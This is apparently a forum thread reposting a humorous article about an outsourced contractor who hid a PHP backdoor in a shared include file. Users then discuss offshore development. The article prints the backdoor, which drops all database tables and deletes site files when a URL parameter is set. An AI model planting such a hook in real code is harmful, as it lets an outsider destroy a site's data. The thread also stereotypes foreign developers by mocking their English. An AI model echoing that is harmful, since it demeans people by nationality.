Beware of outsourcing sotware development

[rsn 135]

Maybe I Needing Later

2009-12-22 by Alex Papadimoulis in Feature Articles (55 Comments) You get what you pay for. Ondra M didn’t use those exact words, but that’s effectively what told his friend and colleague, Derrick. “There’s a reason it costs one tenth as much to build in Kerbleckistan,” were Ondra’s exact words, “there’s not only the language barrier, but time zone differences, cultural diff—”

“It’s just code, which is just a bunch a bytes!” Derrick shot back, “who cares if it’s built here, there, or on the moon. I’ll just take the cost savings and put them towards advertising. ”

Ondra didn’t push the point any further. After all, over the years he had come to learn that Derrick knows best, no matter what reality says. Besides, it was Derrick’s money, Derrick’s idea, and Derrick’s baby. The only involvement Ondra had in the project was to lend some unused rack space.

It was the least he could for his friend who had, once again, come up with the Best Idea Ever. And this one was truly the best. It was some sort of Web 2.0 site that involved freemium, collaboration, engagement, and all sorts of other buzzword concepts that Ondra was clearly behind on understanding. Either way, Ondra set up a server, gave Derrick the details, and wished him the best of luck.

<h3 style="margin-bottom: 0px;">Not Enough Luck in the World</h3> After over six months of parroting “the project’s going great!”, Derrick finally changed his tune.“Let me level with you,” Derrick painfully admitted, “I’m in a serious bind, Ondra, and I need your help. I think I could lose everything.”

Ondra held in a much-deserved told-ya-so and let his friend explain what really happened over the past half year. After interviewing a slew of candidates from Kerbleckistan, Derrick settled on one who had “many year experience building web” and could complete the project in “two month, three maybe.” Derrick’s arranged to pay this contractor a monthly fee and, in turn, the contractor would meet pre-established weekly goals and push his code changes to the server every week.

As the weeks passed, the goals slipped by and the excuses started to grow. "It does working on my machine," "I have missing your email," and "this is first time problem" were becoming all-too-common. At one point, the development just stopped: no new changes were uploaded and the database remained untouched. After nearly a month of no progress, Derrick fired the Kerbleckistanian, disabled his server account, and told him not to expect a check for the past few weeks of “work”. And that’s where the problems started.

“This is not fair,” the contractor wrote in an email, “I was about to uploading files. It is good codes, ready for you. I programming this, so then you pay me and I sending you files.”

Derrick stuck to his guns and refused to pay the contractor another dime.

“If you don’t paying, then I delete files that I send you,” he responded, “I don’t want deleting your web, but it is not fair for me. I know you changing my password and I can’t logging on, but I don’t needing SQL or server password to delete.”

It was that last part that was the most troubling to Derrick: could he actually delete files without FTP access? Derrick fired up his shell access and executed a simple command to see if unlink (PHP's function for deletling a file) was used.

cat *.php | grep unlink

The first and only page that showed up was in db_connect.php, which was included by all pages.

// maybe I needing later

if ($_GET['page'] == "delete_all_files"){

echo "del";

mysql_query("DROP TABLE *");

unlink("index.php");

unlink("apps.php");

unlink("resources");

... snip all files ...

}

That's right — it was a back door that deleted all database tables and files. All the original programmer (or, anyone else) would have to do is access any URL and enter ?page=delete_all_files in the URL.

Fortunately, Ondra was able to remove the backdoor before the Kerbleckistanian could access it. Well, maybe not fortunately; the rest of the code was pretty awful and was probably better off being deleted. But at least it was one-tenth the cost of doing it right!

[Ban Hammer 13,651]

so that dilbert cartoon has a bit of truth to it!

[rsn 135]

so that dilbert cartoon has a bit of truth to it!

Dilbert isn't a cartoon, it's a documentary.

[Dan J 277]

Maybe I Needing Later

2009-12-22 by Alex Papadimoulis in Feature Articles (55 Comments) You get what you pay for. Ondra M didn’t use those exact words, but that’s effectively what told his friend and colleague, Derrick. “There’s a reason it costs one tenth as much to build in Kerbleckistan,” were Ondra’s exact words, “there’s not only the language barrier, but time zone differences, cultural diff—”

“It’s just code, which is just a bunch a bytes!” Derrick shot back, “who cares if it’s built here, there, or on the moon. I’ll just take the cost savings and put them towards advertising. ”

Ondra didn’t push the point any further. After all, over the years he had come to learn that Derrick knows best, no matter what reality says. Besides, it was Derrick’s money, Derrick’s idea, and Derrick’s baby. The only involvement Ondra had in the project was to lend some unused rack space.

It was the least he could for his friend who had, once again, come up with the Best Idea Ever. And this one was truly the best. It was some sort of Web 2.0 site that involved freemium, collaboration, engagement, and all sorts of other buzzword concepts that Ondra was clearly behind on understanding. Either way, Ondra set up a server, gave Derrick the details, and wished him the best of luck.

<h3 style="margin-bottom: 0px;">Not Enough Luck in the World</h3> After over six months of parroting “the project’s going great!”, Derrick finally changed his tune.“Let me level with you,” Derrick painfully admitted, “I’m in a serious bind, Ondra, and I need your help. I think I could lose everything.”

Ondra held in a much-deserved told-ya-so and let his friend explain what really happened over the past half year. After interviewing a slew of candidates from Kerbleckistan, Derrick settled on one who had “many year experience building web” and could complete the project in “two month, three maybe.” Derrick’s arranged to pay this contractor a monthly fee and, in turn, the contractor would meet pre-established weekly goals and push his code changes to the server every week.

As the weeks passed, the goals slipped by and the excuses started to grow. "It does working on my machine," "I have missing your email," and "this is first time problem" were becoming all-too-common. At one point, the development just stopped: no new changes were uploaded and the database remained untouched. After nearly a month of no progress, Derrick fired the Kerbleckistanian, disabled his server account, and told him not to expect a check for the past few weeks of “work”. And that’s where the problems started.

“This is not fair,” the contractor wrote in an email, “I was about to uploading files. It is good codes, ready for you. I programming this, so then you pay me and I sending you files.”

Derrick stuck to his guns and refused to pay the contractor another dime.

“If you don’t paying, then I delete files that I send you,” he responded, “I don’t want deleting your web, but it is not fair for me. I know you changing my password and I can’t logging on, but I don’t needing SQL or server password to delete.”

It was that last part that was the most troubling to Derrick: could he actually delete files without FTP access? Derrick fired up his shell access and executed a simple command to see if unlink (PHP's function for deletling a file) was used.

cat *.php | grep unlink

The first and only page that showed up was in db_connect.php, which was included by all pages.

// maybe I needing later

if ($_GET['page'] == "delete_all_files"){

echo "del";

mysql_query("DROP TABLE *");

unlink("index.php");

unlink("apps.php");

unlink("resources");

... snip all files ...

}

That's right — it was a back door that deleted all database tables and files. All the original programmer (or, anyone else) would have to do is access any URL and enter ?page=delete_all_files in the URL.

Fortunately, Ondra was able to remove the backdoor before the Kerbleckistanian could access it. Well, maybe not fortunately; the rest of the code was pretty awful and was probably better off being deleted. But at least it was one-tenth the cost of doing it right!

Haha! I've ended up fixing my share of security holes but most of it was due to lazy or bad programmers from the US even.

[rsn 135]

Haha! I've ended up fixing my share of security holes but most of it was due to lazy or bad programmers from the US even.

What the article mentions is not a security hole, it's an act of sabotage. I agree that bad code can come from domestic developers too, but I think the first line of the article is most important: you get what you pay for. If you want to save money now by outsourcing your code to a 3rd-world country, be sure to have a lot of money later to hire good developers to rewrite it all when it becomes difficult to maintain.

Edited December 23, 2009 by rsn

[Darnell 8,479]

This is a common story. What I find interesting is that it's filtered DOWN to the DailyWTF ezine.

Failed overseas , offshore projects are common.

Help the US Economy? Engage a USC , today...

Hint - remote wages are cheaper in Texas than in NYC

[rsn 135]

This is a common story. What I find interesting is that it's filtered DOWN to the DailyWTF ezine.

Failed overseas , offshore projects are common.

Help the US Economy? Engage a USC , today...

Hint - remote wages are cheaper in Texas than in NYC

The fact that this is a common mistake, does not, unfortunately, stop some executives from continuing to go down this road.

Maybe some people actually do not know. Sad, but true.

Edited December 23, 2009 by rsn

[Darnell 8,479]

rsn, nope, i agree with you.

I make a d@mn fine living with my firm (majority owner) , recovering and fixing failed overseas projects. Got a good reputation for fixing em, too.

Usually though, after such a fix, the clients come back to us for new work, as well - so I'm not complaining (and I am hiring new staff, btw ).

I do make sure that other execs at the company know about us, though - we're not just a 'silent savior team' - everyone wins after we're done on an engagement.

[rsn 135]

rsn, nope, i agree with you.

I make a d@mn fine living with my firm (majority owner) , recovering and fixing failed overseas projects. Got a good reputation for fixing em, too.

Usually though, after such a fix, the clients come back to us for new work, as well - so I'm not complaining (and I am hiring new staff, btw ).

I do make sure that other execs at the company know about us, though - we're not just a 'silent savior team' - everyone wins after we're done on an engagement.

Hmm, I wasn't aware that such a firm existed (one that bails out companies after their source tree has been trashed by outsourced "developers"). What I don't know could probably fill a book though. I figured there were only two sides to this, the foreign side, and the poor domestic developer who has to clean up the mess for his employer after it happens. I've played the second part twice now, and counting. It never occurred to me that there could be a domestic winner. Nice!

Edited December 23, 2009 by rsn

[thongd4me 69]

Sometimes with even the best developers, the clients don't have a clue as to exactly what they want, so what do they get?

They get what they asked for.

Did Scott Adams use outsourcing?

I hear Elbonian mail order brides are looking very fetching for 2010...

[Ban Hammer 13,651]

Dilbert isn't a cartoon, it's a documentary.

tell me about it, there's a few phb's where i work.

[rsn 135]

Sometimes with even the best developers, the clients don't have a clue as to exactly what they want, so what do they get?

They get what they asked for.

Clients rarely deal directly with developers unless you are talking about a REALLY small software company. There are people in between the clients and the developers that, among other things, are there to understand the customers needs and come up with a product that suits them. In the absence of this middle layer, "the best developers" should be able to wear more than one hat anyway.

Edited December 23, 2009 by rsn

[Darnell 8,479]

rsn - ya - we have a 'client-interfacing team' that deals directly with the customers, prepares docs for the development staff as well. My model is a bit different, and I rarely let a developer talk directly to an end-user at a client company. There are many forms of english, ya know - and you mix a user with a developer? it's worse than the Tower of Babel, on 'flip language' day.

[rsn 135]

rsn - ya - we have a 'client-interfacing team' that deals directly with the customers, prepares docs for the development staff as well. My model is a bit different, and I rarely let a developer talk directly to an end-user at a client company. There are many forms of english, ya know - and you mix a user with a developer? it's worse than the Tower of Babel, on 'flip language' day.

I agree - generally speaking, if it can be avoided, it's good to let developers do their thing and let others deal directly with the customer. The company I work for is pretty good about doing that, but there are times when developers must deal with the customer. Such instances include:

1. Mission-critical defects that are keeping a customer "offline" and the problem needs to be solved now. In that case, a developer might be needed to "cut to the chase".
2. A project that does not have a lot of visibility within the company or domain knowledge. In that case, the developer may need to deal directly with the client to tailor features or fix defects.
3. I'm trying to learn Haskell right now, so my brain isn't working at 100% capacity, so I'll leave it at 2 instances for now

[scandal 951]

Clients rarely deal directly with developers unless you are talking about a REALLY small software company. There are people in between the clients and the developers that, among other things, are there to understand the customers needs and come up with a product that suits them. In the absence of this middle layer, "the best developers" should be able to wear more than one hat anyway.

They do at my firm. And we're not that small a company.